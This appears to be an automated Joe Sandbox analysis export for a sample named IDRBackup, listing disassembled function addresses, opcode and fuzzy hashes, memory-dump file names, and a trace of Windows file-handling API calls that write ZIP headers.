Opcode ID: 811000fb18fae54d5ff7c8e81913015fe8f4dc4dfe2211de7c3d0409b442af66
Instruction ID: 0204dcf1792f313701b0e996f02a0a84b95a6f4c28bbd09366c2bbda7582ea5e
Opcode Fuzzy Hash: 811000fb18fae54d5ff7c8e81913015fe8f4dc4dfe2211de7c3d0409b442af66
Instruction Fuzzy Hash: F7020275B014199FCB04CF6DC985AADF7E2FF88321B14C166E918DB365E738EA418B90

Function 57018058 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb69701c57e67220d087387f27138db3fb016571265f12f9e9f29c8c62014583
Instruction ID: 743ac875c5ba87ce8ad5fb52adeda600d0fc03ebb8329bfb634d541fe772ef0b
Opcode Fuzzy Hash: eb69701c57e67220d087387f27138db3fb016571265f12f9e9f29c8c62014583
Instruction Fuzzy Hash: 5A02F471A014199FCB04CF5DC985AADF7F2FF88325B15C266E818DB365E734EA428B90

Function 57016C58 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e8699e802fea88495a9fc05e0eb36873147dcfc5442553cd61496c4cf2ba68d
Instruction ID: 9f98cd16e640104c9ec005ce2e50966c16822df2f5bb5e16f8cafd837e4a410a
Opcode Fuzzy Hash: 8e8699e802fea88495a9fc05e0eb36873147dcfc5442553cd61496c4cf2ba68d
Instruction Fuzzy Hash: CAF11371A012199FCB04CFA9C9D4A9DBBF1FF48315F14816AE849EB352D734A991CF90

Function 570170A0 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b7e12120d5e03128173f9fcd5c7de2e5457be881994541a623235c2d57a7ee
Instruction ID: b5e06a3990d0bfb384564700e9d59dff812f6f85d3fa702993a15065e752c8b3
Opcode Fuzzy Hash: b6b7e12120d5e03128173f9fcd5c7de2e5457be881994541a623235c2d57a7ee
Instruction Fuzzy Hash: E1F10375A012199FCB04CFA8C9D4AADBBF2FF48310F149166E849EB352D734A981CF90

Function 57016C56 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd2c5fa863f024af71fbc15896cafae7ec3e29532a60f99df20a9712b03bfa8
Instruction ID: 9286570ddd6f41d8a002d0b7993126f72eac6cd27445a280c2161586b71758f9
Opcode Fuzzy Hash: 1bd2c5fa863f024af71fbc15896cafae7ec3e29532a60f99df20a9712b03bfa8
Instruction Fuzzy Hash: 80E13471A002199FCB04DFA9C9D4AADBBF1FF48315F14816AE845EB392D734A991CF90

Function 5701709E Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c526ce02e9d954b6010b33bd28f373e3328ffa6240495a6eec52a9a04acab8e
Instruction ID: be44bb7e2e05f8a604628ee039817ae96b2a3c267a93c0c972f4109579f17f66
Opcode Fuzzy Hash: 1c526ce02e9d954b6010b33bd28f373e3328ffa6240495a6eec52a9a04acab8e
Instruction Fuzzy Hash: E1E11475A012199FCB04DFA9C9D4AEDBBF1FF48311F1491A6E844AB392D734A981CF90

Function 570178C4 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f7d8547235f090f295baff0be459e3ff4a69087174aa2247f0c6ac815bfc40
Instruction ID: 5247ee961b33923e4a16c55a7dd7d5d9f0b801c1b966946857275550dd161464
Opcode Fuzzy Hash: 78f7d8547235f090f295baff0be459e3ff4a69087174aa2247f0c6ac815bfc40
Instruction Fuzzy Hash: 20E1F375A012599FCB44CFA8C9D4AADFBF1FF48310F1481AAE859EB352D634A941CF90

Function 570174E8 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859e5af17d3ed54a47a6a19ad081cddee0a4a9669f146e4222160efdaab9cdb7
Instruction ID: cb80cc81e12b717388705483697262146b90b6ba0edb20b80c5c10076de342df
Opcode Fuzzy Hash: 859e5af17d3ed54a47a6a19ad081cddee0a4a9669f146e4222160efdaab9cdb7
Instruction Fuzzy Hash: 26E1F474A012599FCB44CFA8C9D4AADFBF1FF48310F1481AAE859EB356D634A941CF90

Function 570174E6 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9832f7abad697b7d72be767bc6a985fe4150f239af489bcad472b8b018823e14
Instruction ID: d222a26eb49c83e56e214a57389bac8621e73d4464ae9d01f3781fe29ecffd0a
Opcode Fuzzy Hash: 9832f7abad697b7d72be767bc6a985fe4150f239af489bcad472b8b018823e14
Instruction Fuzzy Hash: 31E1E674A012599FCB08CFA8C5D89ADFBF1FF49314F1481AAE859AB356C634A941CF90

Function 5701EB58 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae2de1681d9689ed1c77b6eff1f395c006368939f883ea06a88fdca8d23db8c
Instruction ID: 127b8c27db6f17920af90e0c54a352835935fb2c8abbfe8a03a69d798b2fc4c5
Opcode Fuzzy Hash: dae2de1681d9689ed1c77b6eff1f395c006368939f883ea06a88fdca8d23db8c
Instruction Fuzzy Hash: B7E1FD34D843A59BCB11CFE9D8D07DDFBB0BF09218F8D40E5DA902B242C2792655DBA0

Function 57018A80 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b41c86451e3e256ca05aa33cbc8ef328e0d802a2dd065f2aedbdc65d52e0cf
Instruction ID: b0146e8508959454323d79878ad45cc2461e6d0f93f00a8981d0af3094b1876d
Opcode Fuzzy Hash: 47b41c86451e3e256ca05aa33cbc8ef328e0d802a2dd065f2aedbdc65d52e0cf
Instruction Fuzzy Hash: 81A10975A051599FCB04CF6DC98499DFBF5EF89321B10C2A6E868CB365D730DA42CB90

Function 57001752 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ac927ad951a7f3b0c17384de19e9c4598dd60edb67ba3daa3e95c9d7f24452
Instruction ID: c3560ac51acc97a3ed2b82041d21de54c10fef48de6851ba5f97c332206ecaa5
Opcode Fuzzy Hash: 76ac927ad951a7f3b0c17384de19e9c4598dd60edb67ba3daa3e95c9d7f24452
Instruction Fuzzy Hash:

Function 57001656 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89a294a130ea607ba255eeff489db0e32e8b9e66abbe5b63d864694b41d7a387
Instruction ID: a8148477602b60acc334c9444c1687e23f84bb4536cfb9695cad305b633c2a84
Opcode Fuzzy Hash: 89a294a130ea607ba255eeff489db0e32e8b9e66abbe5b63d864694b41d7a387
Instruction Fuzzy Hash:

Function 5700165E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a57f71bb0fe969d4322d262c3ba89c12f4ac28e507a6c4f69359b6b4b5e1e89
Instruction ID: bb931946ae09470f3df267268b6c0126c2dda8642d0ea815da56e931c5e33457
Opcode Fuzzy Hash: 1a57f71bb0fe969d4322d262c3ba89c12f4ac28e507a6c4f69359b6b4b5e1e89
Instruction Fuzzy Hash:

Function 570015CE Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7747faa874715bdf41b4eb09e509aab4de5dc06d49209c72db579ed4a017443f
Instruction ID: d54a8dd123f3900e007529dd7aae08110e9f84664709fbdb92f0735af98f85a9
Opcode Fuzzy Hash: 7747faa874715bdf41b4eb09e509aab4de5dc06d49209c72db579ed4a017443f
Instruction Fuzzy Hash:

Function 570015D6 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0fa99cebf7393f096de775571617ba4e38c77efb5e0040b72dad803781a8e
Instruction ID: 84dd0dd699d9c722244951fafb4cc5b69ac0241365a80ec70d09f078ba266754
Opcode Fuzzy Hash: 34a0fa99cebf7393f096de775571617ba4e38c77efb5e0040b72dad803781a8e
Instruction Fuzzy Hash:

Function 5701E500 Relevance: 109.0, APIs: 61, Strings: 1, Instructions: 478filetimememoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701EAE6), ref: 5701E544
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E562
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E568
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E58C
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E594
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E59A
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000,40000000,00000000,00000000,00000002,00000000,00000000,00000000,5701EAE6), ref: 5701E5C6
@System@@DynArrayLength$qqrv.RTL120.BPL ref: 5701E5F5
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL ref: 5701E604
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701E60C
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 5701E611
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701E620
@System@@UStrDelete$qqrr20System@UnicodeStringii.RTL120.BPL ref: 5701E637
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL ref: 5701E651
@System@@LStrAsg$qqrpvpxv.RTL120.BPL ref: 5701E66D
GetVersion.KERNEL32 ref: 5701E672
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E68F
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E695
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E6BA
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E6C5
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E6CB
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E6DE
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E6EC
LocalAlloc.KERNEL32(00000040,?,00000040,?,00000000,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E711
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,00000040,?,00000040,?,00000000,00000000,00000000,80000000,00000003,00000000,00000003), ref: 5701E732
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701E7A4
GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 5701E7BC
FileTimeToLocalFileTime.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 5701E7C9
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 5701E7DA
GetVersion.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 5701E82B
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(?,?,00000000,00000000,00000000,?), ref: 5701E839
GetFileAttributesW.KERNEL32(00000000,?,?,00000000,00000000,00000000,?), ref: 5701E83F

Part of subcall function 57019560: SetLastError.KERNEL32(00000000), ref: 5701956E
Part of subcall function 57019560: SetFilePointer.KERNEL32(?,?,?,?,00000000), ref: 5701957D
Part of subcall function 57019560: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 5701958B

@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(?,?,00000000,00000000,00000000,?), ref: 5701E859
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,00000000,00000000,00000000,?), ref: 5701E864
GetFileAttributesA.KERNEL32(00000000,?,?,00000000,00000000,00000000,?), ref: 5701E86A
WriteFile.KERNEL32(?,04034B50,0000001E,?,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 5701E8B0
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000001E,00000000,?,04034B50,0000001E,?,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 5701E8CA
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,0000001E,00000000,?,04034B50,0000001E,?,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 5701E8D5
WriteFile.KERNEL32(?,00000000,00000000,0000001E,00000000,?,04034B50,0000001E,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 5701E8DF
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,00000000,00000000,0000001E,00000000,?,04034B50,0000001E,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 5701E8ED
WriteFile.KERNEL32(?,00000000,?,0000001E,00000000,?,00000000,00000000,0000001E,00000000,?,04034B50,0000001E,?,00000000,00000000), ref: 5701E909
LocalFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,00000040,?,00000040,?,00000000,00000000,00000000,80000000,00000003,00000000), ref: 5701E92A
